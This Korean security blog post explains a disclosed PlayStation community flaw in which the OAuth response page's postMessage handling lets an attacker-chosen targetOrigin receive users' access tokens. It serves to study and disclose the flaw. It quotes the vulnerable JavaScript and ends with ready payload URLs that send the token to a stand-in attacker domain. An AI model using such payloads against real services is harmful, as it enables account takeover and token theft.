[하루한줄] Access token stealing in playstation
URL
Access token stealing in playstation
Target
Explain
콘솔 게임기기인 PlayStation의 커뮤니티 https://my.playstation.com/auth/response.html 에서 로그인된 사용자의 Access Token을 탈취할 수 있는 취약점이 발견되었습니다.
https://my.playstation.com/auth/response.html?requestID=iframe_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1&baseUrl=/&targetOrigin=https://my.playstation.com 페이지는 발급 서버에서 클라이언트로 OAuth 액세스 토큰을 전송하는 자바스크립트를 호스팅 합니다.
function parseResponse(a) {
var b = a.hash.substr(1),
c = a.search.substr(1),
d = b + "&" + c,
e = convertToObject(d);
return e.refererURL = a.toString(), e
}
....
function sendResponseToApp(a) {
var b = extractFrameTypeFromRequestID(a.requestID),
c = a.targetOrigin || getOrigin(),
d = a.baseUrl || "",
e = a.returnRoute || "",
f = a.excludeQueryParams,
g = !f && window.location.search || "";
switch (b) {
...
case "window":
window.opener.postMessage(a, c);
break;
...
}
}
var response = parseResponse(window.location);
sendResponseToApp(response);
호스팅된 위 자바스크립트에서 아래 과정을 통해 access token을 해커의 서버로 전송할 수 있습니다.
- request query를
parseResponse()
함수에서 파싱 한 뒤sendResponseToApp()
의 매개변수로 전달해 호출합니다. - query 중
reqeustID
필드 값이 “window” 면window.opener.postMessage()
를 호출합니다. window.opener.postMessage()
는 첫 번째 매개변수를 두 번째 매개변수인 특정 도메인으로 전달할 수 있습니다. 매개변수로 query와targetOrigin
필드 값이 전달되면targetOrigin
도메인으로 query에 포함되어 있는 Access Token을 전송할 수 있습니다.
이를 이용한 최종 페이로드는 다음과 같습니다.
https://my.playstation.com/auth/response.html?requestID=window_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1&baseUrl=/&targetOrigin=https://attacker_domain.com
위 페이로드를 OAuth 발급 서버 request query의 redirect_uri
필드 값으로 보내면 Access Token을 탈취할 수 있습니다.
https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone:report_submission,kamaji:game_list,kamaji:get_account_hash,user:account.get,user:account.profile.get,kamaji:social_get_graph,kamaji:ugc:distributor,user:account.identityMapper,kamaji:music_views,kamaji:activity_feed_get_feed_privacy,kamaji:activity_feed_get_news_feed,kamaji:activity_feed_submit_feed_story,kamaji:activity_feed_internal_feed_submit_story,kamaji:account_link_token_web,kamaji:ugc:distributor_web,kamaji:url_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https://my.playstation.com/auth/response.html?requestID=window_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1&baseUrl=/&targetOrigin=https://attacker_domain.com/&prompt=non
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.